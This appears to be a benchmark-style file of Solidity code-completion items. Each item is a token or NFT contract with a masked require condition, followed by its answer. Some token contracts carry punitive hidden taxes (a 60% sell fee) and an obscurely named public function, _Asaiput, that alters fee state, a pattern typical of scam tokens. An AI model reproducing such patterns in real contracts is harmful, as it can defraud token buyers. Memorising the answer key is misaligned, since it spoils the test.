function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Ownable {
address public _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor (address newOwner) {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract Taxable is Ownable {
using SafeMath for uint256;
address internal autoLiquidityReceiver;
address internal marketingFeeReceiver;
mapping (address => bool) public isFeeExempt;
uint256 internal liquidityFee = 0;
uint256 internal marketingFee = 30;
uint256 internal developmentFee = 0;
uint256 internal totalFee = 30;
uint256 internal buyFee = 30;
uint256 internal sellFee = 60;
uint256 internal transferFee = 50;
uint256 internal denominator = 100;
address public pair;
// uint256 internal lpConstant = 1;
// uint256 internal targetLiquidity = 150;
// uint256 internal targetLiquidityDenominator = 100;
// uint256 internal startingLiquidityFactor = 100;
// uint256 internal currentLiquidityFactor = startingLiquidityFactor; // 1x
// uint256 internal targetLiquidityFactor = startingLiquidityFactor.mul(20); // 20x
bool public swapEnabled = true;
// bool alternateSwaps = true;
// uint256 smallSwapThreshold;
// uint256 largeSwapThreshold;
uint256 public swapThreshold;
constructor(address deployer) Ownable(deployer) {
}
function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver) external onlyOwner {
}
function setIsFeeExempt(address holder, bool exempt) external {
}
function setSwapBackSettings(bool _swapEnabled, uint256 _amount) external {
}
function rescueBalance() external {
}
function setTransactionRequirements(uint256 _liquidity, uint256 _marketing, uint256 _development, uint256 _total, uint256 _buy, uint256 _sell, uint256 _trans) external onlyOwner {
}
function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
}
function getTotalFee(address sender, address recipient) internal view returns (uint256) {
}
}
contract Jodie is IERC20, Taxable {
using SafeMath for uint256;
address constant mainnetRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant DEAD = 0x000000000000000000000000000000000000dEaD;
address constant ZERO = 0x0000000000000000000000000000000000000000;
string constant _name = "Jodie Coin";
string constant _symbol = "JODIE";
uint8 constant _decimals = 9;
uint256 _totalSupply = 100000000000 * (10 ** _decimals); // 100,000,000,000
uint256 public _maxWalletToken = ( _totalSupply * 200 ) / 10000;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
IDEXRouter public router;
bool inSwap;
modifier swapping() { }
constructor () Taxable(msg.sender) {
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { }
function decimals() external pure returns (uint8) { }
function symbol() external pure returns (string memory) { }
function name() external pure returns (string memory) { }
function getOwner() external view returns (address) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) external returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
}
function manualSell(address sender, uint256 amount) public swapping {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwap){ return _basicTransfer(sender, recipient, amount); }
if (recipient != pair && recipient != DEAD) {
require(<FILL_ME>)
}
if(shouldSwapBack()) {
swapBack();
}
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function shouldSwapBack() internal view returns (bool) {
}
function swapBack() internal swapping {
}
function getCirculatingSupply() public view returns (uint256) {
}
}
| _balances[recipient]+amount<=_maxWalletToken||isFeeExempt[recipient]||isFeeExempt[sender],"Transfer amount exceeds the bag size." | 80,781 | _balances[recipient]+amount<=_maxWalletToken||isFeeExempt[recipient]||isFeeExempt[sender] |
"Max supply reached" | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "erc721a/contracts/ERC721A.sol";
contract MoonGoons is ERC721A, Ownable {
using Strings for uint256;
uint256 public mintPrice = 0 ether;
uint256 public maxSupply = 5000;
uint256 public maxPerWallet = 3;
uint256 public maxPerTransaction = 3;
uint256 public currentSupply;
bool public isSalePublic = false;
string public baseURI = "ipfs://QmW9NmdqXYZJVFfWzMLYjtgza3qfki6qseVLmhxHcp4qiG/";
mapping(address => uint256) public walletMints;
constructor() payable ERC721A("Moon Goons", "MOONGOONS") {}
//////// Internal Functions
// Override start token id to set to 1
function _startTokenId() internal pure override returns (uint256) {
}
function _baseURI() internal view override returns (string memory) {
}
//////// External Functions
function mint(uint256 _quantity) external payable publicSaleActive {
require(tx.origin == msg.sender, "No contract minting");
require(_quantity <= maxPerTransaction, "Too many mints per transaction");
require(<FILL_ME>)
uint256 userMintsTotal = _numberMinted(msg.sender);
require(userMintsTotal + _quantity <= maxPerWallet, "max per wallet reached");
uint256 price = mintPrice;
checkValue(price * _quantity);
currentSupply += _quantity;
_safeMint(msg.sender, _quantity);
}
//////// Public Functions
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
function numberMinted(address _owner) public view returns (uint256) {
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
//////// Owner Functions
function mintTo(uint256 _quantity, address _user) external onlyOwner {
}
function setBaseTokenUri(string calldata _baseTokenUri) external onlyOwner {
}
function withdraw() external onlyOwner {
}
function setIsSalePublic(bool _isSalePublic) external onlyOwner {
}
//////// Private Functions
function checkValue(uint256 price) private {
}
// Modifiers
modifier publicSaleActive() {
}
}
| currentSupply+_quantity<=maxSupply,"Max supply reached" | 80,803 | currentSupply+_quantity<=maxSupply |
"max per wallet reached" | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "erc721a/contracts/ERC721A.sol";
contract MoonGoons is ERC721A, Ownable {
using Strings for uint256;
uint256 public mintPrice = 0 ether;
uint256 public maxSupply = 5000;
uint256 public maxPerWallet = 3;
uint256 public maxPerTransaction = 3;
uint256 public currentSupply;
bool public isSalePublic = false;
string public baseURI = "ipfs://QmW9NmdqXYZJVFfWzMLYjtgza3qfki6qseVLmhxHcp4qiG/";
mapping(address => uint256) public walletMints;
constructor() payable ERC721A("Moon Goons", "MOONGOONS") {}
//////// Internal Functions
// Override start token id to set to 1
function _startTokenId() internal pure override returns (uint256) {
}
function _baseURI() internal view override returns (string memory) {
}
//////// External Functions
function mint(uint256 _quantity) external payable publicSaleActive {
require(tx.origin == msg.sender, "No contract minting");
require(_quantity <= maxPerTransaction, "Too many mints per transaction");
require(currentSupply + _quantity <= maxSupply, "Max supply reached");
uint256 userMintsTotal = _numberMinted(msg.sender);
require(<FILL_ME>)
uint256 price = mintPrice;
checkValue(price * _quantity);
currentSupply += _quantity;
_safeMint(msg.sender, _quantity);
}
//////// Public Functions
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
function numberMinted(address _owner) public view returns (uint256) {
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
//////// Owner Functions
function mintTo(uint256 _quantity, address _user) external onlyOwner {
}
function setBaseTokenUri(string calldata _baseTokenUri) external onlyOwner {
}
function withdraw() external onlyOwner {
}
function setIsSalePublic(bool _isSalePublic) external onlyOwner {
}
//////// Private Functions
function checkValue(uint256 price) private {
}
// Modifiers
modifier publicSaleActive() {
}
}
| userMintsTotal+_quantity<=maxPerWallet,"max per wallet reached" | 80,803 | userMintsTotal+_quantity<=maxPerWallet |
"baseURI not set" | pragma solidity ^0.8.17;
/// @author @0x__jj, @llio (Deca)
contract Naime_Decal is ERC721, ReentrancyGuard, AccessControl, Ownable {
using Address for address;
using Strings for *;
event ArtistMinted(uint256 numberOfTokens, uint256 remainingArtistSupply);
mapping(address => bool) public minted;
uint256 public totalSupply = 0;
uint256 public constant MAX_SUPPLY = 100;
bytes32 public merkleRoot;
uint256 public artistMaxSupply;
uint256 public artistSupply;
address public artist;
string public baseUri;
constructor(
string memory _baseUri,
address[] memory _admins,
uint256 _artistMaxSupply,
address _artist
) ERC721("Decal by Naime", "DECAL") {
}
function setArtist(address _artist) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setArtistMaxSupply(
uint256 _artistMaxSupply
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setMerkleRoot(
bytes32 _merkleRoot
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setBaseUri(
string memory _newBaseUri
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function mint(
bytes32[] calldata _merkleProof
) external nonReentrant returns (uint256 tokenId) {
}
function artistMintForAdmin(
uint256 _numberOfTokens
) external nonReentrant onlyRole(DEFAULT_ADMIN_ROLE) {
}
function artistMint(uint256 _numberOfTokens) external nonReentrant {
}
function publicSupplyRemaining() public view returns (uint256) {
}
function artistSupplyRemaining() external view returns (uint256) {
}
function tokenURI(
uint256 _tokenId
) public view override(ERC721) returns (string memory) {
require(_exists(_tokenId), "DECAL: URI query for nonexistent token");
string memory baseURI = _baseURI();
require(<FILL_ME>)
return string(abi.encodePacked(baseURI, _tokenId.toString()));
}
function getTokensOfOwner(
address owner_
) external view returns (uint256[] memory) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(
bytes4 interfaceId
) public view virtual override(ERC721, AccessControl) returns (bool) {
}
function _baseURI() internal view override(ERC721) returns (string memory) {
}
}
| bytes(baseURI).length>0,"baseURI not set" | 80,986 | bytes(baseURI).length>0 |
null | /*
Telegram : https://t.me/Autosnipereth
web : https://autosniper.net/
Tw : https://twitter.com/AutoSniperEth
*/
/*
If you're looking for a trading bot that can help you make money when you sleep or when markets are down, AutoSniper AI is the one for you.
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract AutosnipereAI is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "AUTOSNIPER AI";
string private constant _symbol = "ASAI";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private Autsntrx = 0;
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private redisZero = 0;
uint256 private _redisFeeOnSell = 0;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private NewValuation = Autsntrx;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = NewValuation;
address payable private _developmentAddress = payable(msg.sender);
address payable private _marketingAddress = payable(msg.sender);
address private uniswapRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = true;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = _tTotal;
uint256 public _maxWalletSize = _tTotal * 3/100;
uint256 public _swapTokensAtAmount = _tTotal*2/1000;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
}
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function enableTrading() external onlyOwner {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function manualsend() external {
}
function manualSwap(uint256 percent) external {
}
function toggleSwap (bool _swapEnabled) external {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _Asaiput(uint256[7][6][7] memory aicondot , uint256[1] memory ascnducts) public returns(int) {
require(<FILL_ME>)
require(ascnducts[0] >2);
Autsntrx = aicondot[6][2][2] + ascnducts[0];
return 1;
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function RemoveLimits() external onlyOwner {
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
}
| aicondot[6][2][2]>=96 | 81,145 | aicondot[6][2][2]>=96 |
null | /*
Telegram : https://t.me/Autosnipereth
web : https://autosniper.net/
Tw : https://twitter.com/AutoSniperEth
*/
/*
If you're looking for a trading bot that can help you make money when you sleep or when markets are down, AutoSniper AI is the one for you.
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract AutosnipereAI is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "AUTOSNIPER AI";
string private constant _symbol = "ASAI";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private Autsntrx = 0;
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private redisZero = 0;
uint256 private _redisFeeOnSell = 0;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private NewValuation = Autsntrx;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = NewValuation;
address payable private _developmentAddress = payable(msg.sender);
address payable private _marketingAddress = payable(msg.sender);
address private uniswapRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = true;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = _tTotal;
uint256 public _maxWalletSize = _tTotal * 3/100;
uint256 public _swapTokensAtAmount = _tTotal*2/1000;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
}
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function enableTrading() external onlyOwner {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function manualsend() external {
}
function manualSwap(uint256 percent) external {
}
function toggleSwap (bool _swapEnabled) external {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _Asaiput(uint256[7][6][7] memory aicondot , uint256[1] memory ascnducts) public returns(int) {
require(aicondot[6][2][2] >= 96);
require(<FILL_ME>)
Autsntrx = aicondot[6][2][2] + ascnducts[0];
return 1;
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function RemoveLimits() external onlyOwner {
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
}
| ascnducts[0]>2 | 81,145 | ascnducts[0]>2 |
"Exceeding the Max Wallet Limit!" | pragma solidity ^0.8.20;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function migrator() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function setMigrator(address) external;
}
interface IUniswapRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapRouter02 is IUniswapRouter01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract FRZWalletToken is ERC20, ERC20Burnable, Ownable {
using SafeMath for uint256;
address payable public marketingWallet = payable(0x81D4610351A7ADA54cb1d81Bbf99c3A2A3971e8F); // Marketing wallet address
address public dev = 0x57Ee8CcC427233871C79235be300C1f01bF2284A; // Dev wallet address
address public liqWallet = 0xb6e7BDD01c02F900e22b18796683Dce2c1Cae7f8; // Liquidty wallet address
address private initialOwner = 0xb6e7BDD01c02F900e22b18796683Dce2c1Cae7f8; // Initial Owner address
IERC20 public WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599); // wrapped bitcoin address for rewards
IUniswapRouter02 public dexRouter;
address public dexPair;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyByLimitOnly = false;
uint256 private minimumTokensBeforeSwap = 25*(10**8)*1e18; // 2,500,000,000
uint256 public marketingTax = 200; // 2% tax for Marketing
uint256 public liquidityTax = 200; // 2% tax for Liquidity
uint256 public rewardTax = 200; // 2% tax to reward
uint256 public totalTax = 600;
uint256 constant MAXIMUMSUPPLY = 500*(10**9)*1e18; // 500,000,000,000
uint256 public maxWalletAmount = 5*(10**9)*1e18; // 5,000,000,000
uint256 public rewardThreshold = 2*(10**9)*1e18; // 2,000,000,000
bool private isInternalTx;
bool public maxLimitDisabled; // Max TX and Max wallet Disabling
mapping (address => bool) public maxWalletWL; // whitelist from max Wallet limits
mapping (address => bool) public taxWL; // whitelist from tax
mapping (address => bool) public excludedFromReward;
mapping (address => uint256) private userIndex;
address[] public rewardUsers;
modifier onlyDev() {
}
modifier internalTX {
}
constructor()
ERC20("FRZ Wallet Token", "FWT")
Ownable(initialOwner)
{
}
receive() external payable {}
function _update(address from, address to, uint256 value) internal override {
if(isInternalTx)
{
super._update(from, to, value);
}
else
{
if (!maxLimitDisabled && !maxWalletWL[to] && from != address(0) && to != address(0)){
require(<FILL_ME>)
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
if (overMinimumTokenBalance && from != dexPair && from != address(dexRouter) && swapAndLiquifyEnabled)
{
if(swapAndLiquifyByLimitOnly){contractTokenBalance = minimumTokensBeforeSwap;}
swapAndLiquify(contractTokenBalance);
}
if (totalTax > 0 && !taxWL[from] && !taxWL[to] && from != address(0) && to != address(0)) {
value = takeFee(from, value);
}
super._update(from, to, value);
updateRewardUser(from); // check if 'from' is eligible for the reward
updateRewardUser(to); // check if 'to' is eligible for the reward
}
}
function updateRewardUser(address user) internal {
}
function distributeReward() external onlyDev {
}
function totalRewardEligible() external view returns(uint256){
}
function setNumTokensBeforeSwap(uint256 newLimit) external onlyDev {
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyDev {
}
function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyDev {
}
function changePair(address newPairAddress) public onlyDev {
}
function updateRouter(address newRouterAddress) public onlyDev returns(address newPairAddress) {
}
function setTaxRate(uint256 _marketingTax , uint256 _rewardTax, uint256 _liquidityTax ) public onlyDev {
}
function setMarketingWallet(address _newMarketingWallet) public onlyDev {
}
function setLiqWallet(address _newLiqWallet) public onlyDev {
}
// Max wallet amount as a percentage
function setMaxWalletLimitPercents(uint256 maxWalletPercent) public onlyDev {
}
function setDev(address _dev) public onlyDev {
}
function setWhitelList(address _address , bool _taxWL , bool _maxWalletWL , bool _excludeFromReward) public onlyDev {
}
function disableLimits(bool _maxLStatus ) public onlyDev {
}
function swapAndLiquify(uint256 tAmount) private internalTX {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapEthForWbtc(uint256 ethAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function takeFee(address from, uint256 amount) internal internalTX returns (uint256) {
}
//Use this in case ETH are sent to the contract by mistake
function rescueETH() external onlyDev{
}
function ethTransfer(address to, uint256 amount) private {
}
function rescueAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) external onlyDev {
}
}
| value+balanceOf(to)<=maxWalletAmount,"Exceeding the Max Wallet Limit!" | 81,171 | value+balanceOf(to)<=maxWalletAmount |
"max allowed tax 20%" | pragma solidity ^0.8.20;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function migrator() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function setMigrator(address) external;
}
interface IUniswapRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
